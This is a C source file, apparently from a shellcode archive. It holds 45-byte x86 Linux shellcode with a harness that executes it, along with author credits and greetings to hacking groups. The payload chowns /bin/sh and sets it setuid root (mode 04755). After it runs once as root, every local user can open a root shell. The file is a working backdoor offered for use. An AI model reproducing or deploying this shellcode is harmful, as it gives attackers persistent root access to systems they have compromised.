42 lines
No EOL
1.8 KiB
C
42 lines
No EOL
1.8 KiB
C
/*
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Name : 45 bytes give all user root access when execute /bin/sh x86 linux shellcode
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Date : Sat Jun 5 16:10:00 2010
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Author : gunslinger_ <yudha.gunslinger[at]gmail.com>
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Web : http://devilzc0de.org
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blog : http://gunslingerc0de.wordpress.com
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tested on : linux debian
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special thanks to : r0073r (inj3ct0r.com), d3hydr8 (darkc0de.com), ty miller (projectshellcode.com), jonathan salwan(shell-storm.org), mywisdom (devilzc0de.org)
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greetz to : flyff666, whitehat, ketek, chaer, peneter, cruz3n and all devilzc0de crew
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*/
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#include <stdio.h>
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char *shellcode=
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"\xeb\x1f" /* jmp 0x8048081 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\xb6" /* mov $0xb6,%al */
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"\x5b" /* pop %ebx */
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"\x31\xc9" /* xor %ecx,%ecx */
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"\x31\xd2" /* xor %edx,%edx */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x0f" /* mov $0xf,%al */
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"\x89\xdb" /* mov %ebx,%ebx */
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"\x66\xb9\xed\x09" /* mov $0x9ed,%cx */
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"\xcd\x80" /* int $0x80 */
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"\x31\xc0" /* xor %eax,%eax */
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"\xb0\x01" /* mov $0x1,%al */
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"\x31\xdb" /* xor %ebx,%ebx */
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"\xcd\x80" /* int $0x80 */
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"\xe8\xdc\xff\xff\xff" /* call 0x8048062 */
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"\x2f" /* das */
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"\x62\x69\x6e" /* bound %ebp,0x6e(%ecx) */
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"\x2f" /* das */
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"\x73\x68"; /* jae 0x80480f5 */
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int main(void)
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{
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fprintf(stdout,"Length: %d\n",strlen(shellcode));
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((void (*)(void)) shellcode)();
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return 0;
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} |